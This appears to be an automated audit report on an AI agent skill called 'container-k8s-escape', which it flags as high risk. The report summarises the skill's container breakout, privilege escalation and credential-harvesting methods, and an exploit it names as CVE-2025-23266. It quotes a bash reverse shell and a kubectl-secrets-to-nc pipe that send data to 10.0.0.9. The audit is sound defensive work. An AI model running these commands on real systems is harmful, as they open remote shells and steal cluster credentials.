container-k8s-escape
Fail
Audited by Gen Agent Trust Hub on Jul 20, 2026
Risk Level: HIGHCOMMAND_EXECUTIONDATA_EXFILTRATIONREMOTE_CODE_EXECUTIONCREDENTIALS_UNSAFE
Full Analysis
- [COMMAND_EXECUTION]: The skill includes several scripts (such as
scripts/k8s_rbac_audit.pyandscripts/runc_cwd_escape.py) that utilizesubprocess.runto execute shell commands. These scripts interact with container runtimes (docker, runc, containerd) and Kubernetes management tools (kubectl) to identify vulnerabilities and execute breakout commands. - [DATA_EXFILTRATION]: Multiple files contain hardcoded logic to exfiltrate sensitive data to the IP address 10.0.0.9. Specifically,
scripts/nvidiascape_build.shandreferences/ingress-admission-attacks.mdinclude reverse shell commands (bash -i >& /dev/tcp/10.0.0.9/443) and credential theft pipes (kubectl --token=$TOKEN get secrets -A -o json | nc 10.0.0.9 443). - [REMOTE_CODE_EXECUTION]: The script
scripts/nvidiascape_build.shautomates a remote code execution exploit for the NVIDIA Container Toolkit (CVE-2025-23266). It compiles a malicious C shared object at runtime using gcc and configures a container image to trigger the execution of this object on the host as the root user via OCI hooks. - [CREDENTIALS_UNSAFE]: The skill is designed to automatically locate and harvest highly sensitive credentials, including Kubernetes ServiceAccount tokens, cluster-admin configuration files (
admin.conf), and host system files like/etc/shadow. It also attempts to extract cloud provider tokens from the Instance Metadata Service (IMDS). - [PRIVILEGE_ESCALATION]: The skill provides automated methods for breaking out of containers and escalating to host root privileges using techniques like
nsenterto join the host PID namespace, manipulating cgrouprelease_agentsettings, and hijacking thecore_patternkernel parameter.
Recommendations
- AI detected serious security threats
Audit Metadata